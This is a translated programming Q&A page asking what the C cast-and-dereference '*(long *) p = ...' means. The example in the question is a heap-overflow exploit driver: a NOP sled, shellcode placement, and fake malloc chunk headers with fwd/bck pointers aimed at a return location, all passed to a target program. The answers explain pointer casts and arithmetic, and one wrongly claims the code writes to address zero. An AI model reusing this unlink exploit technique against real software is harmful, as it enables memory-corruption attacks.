Указатель на приведенный указатель? - PullRequest
2 голосов
/ 16 декабря 2009

Я встречал указатели на приведенные указатели (не уверен, что это правильный термин) в C, например:

* (длинный *) р = 10; Я никогда не мог на всю жизнь понять, что это значит, или другой пример:

* (void *) NULL или * (char *) 0; Я просто не могу обернуть голову, может кто-нибудь объяснить мне это и спасти меня от частичного повреждения мозга? :)

Спасибо

(P.S. Ниже приведен пример такого использования)

int main (int argc, char * argv []) { char * p, * payload = (char *) malloc (1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }

Ответы [ 7 ]

3 голосов
/ 16 декабря 2009

Сначала разбейте утверждение:

  long *q = (long*)p;
  *q = 10;
  p += 4;

Аргумент p имеет тип char*, вы можете только читать или записывать 1 байт за один раз через этот указатель. Приведение к long* создает указатель, через который вы можете читать или записывать 4 байта одновременно с / на один и тот же адрес. Назначение записывает байты 0x00, 0x00, 0x00, 0x0A. То же самое, что и

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

В зависимости от порядка байтов. После присваивания p нужно увеличить на 4, потому что записано 4 байта.

Этот прием довольно распространен для буферов байтов, которые содержат небайтовые данные.

2 голосов
/ 16 декабря 2009
*(long *) p = -4;

Означает: p - это "указатель на long", и я пытаюсь присвоить значение памяти, на которую есть ссылка. Мы делаем это потому, что изначально мы говорили, что p - это указатель на символ, и мы хотим изменить его поведение при обращении.

1 голос
/ 16 декабря 2009

codepad.org / iz2TSDfa

Этот код записывает четыре байта данных в ноль адреса в памяти. Это не распространенная или принятая практика и не применима на общих основаниях. Другими словами: черная магия.

Я предполагаю, что это вызывает какое-то прерывание процессора.

Я советую вам изучить ассемблер / архитектуру компьютера, на который ориентирован этот код, если вы хотите его понять.

1 голос
/ 16 декабря 2009

Помещение * перед (long *) называется «разыменованием» указателя. Это означает, как говорит @GrayWizardx, что вы изменяете значение в памяти, на которое указывает указатель.

0 голосов
/ 16 декабря 2009

Вам может быть легче, когда вы понимаете мотив , стоящий за кодом примера.

Код манипулирует 4-байтовыми значениями, поэтому p преобразуется в long *. Конструкция * (long *) p = -4; позволяет вам установить 4 байта на 0xFFFFFFFC с одним присваиванием. Если вы оставили p как char *, вам потребовалось бы четыре отдельных назначения, и вам также пришлось бы беспокоиться о endianness вашей платформы.

Так почему бы просто не объявить p как long * в первую очередь? Поскольку код использует арифметику указателя для вычисления целевых адресов: p += sizeof(shellcode) + 64 - 4; Арифметика указателя легко с char *, потому что добавление 1 к указателю продвинет его к следующему байту, как и следовало ожидать. Не так с указателями на другие типы данных! Если p было объявлено как long *p;, то p += 4 добавляет 4 * sizeof(long) к p.

Почему? Потому что это облегчает просмотр списка long переменных:

long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

Итак, в вашем примере определение p как char * облегчает арифметику указателей в виде байтов, а приведение его к long * упрощает назначения.

0 голосов
/ 16 декабря 2009

Арифметика указателя, основанная на типе указателя, то есть, будет ли его char * cPtr или int * nPtr, когда вы увеличиваете cPtr ++, переместится на один байт, а nPtr ++ переместится на 4 байта (assumimg char занимает один байт, а int занимает 4 байта) .

0 голосов
/ 16 декабря 2009

Первая звезда фактически разыменовывает приведенный указатель. Таким образом, * (long *) p = 10 означает приведение p к указателю на long и присвоение -4 разыменованному местоположению. Сравните ваши примеры с * p = 10.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...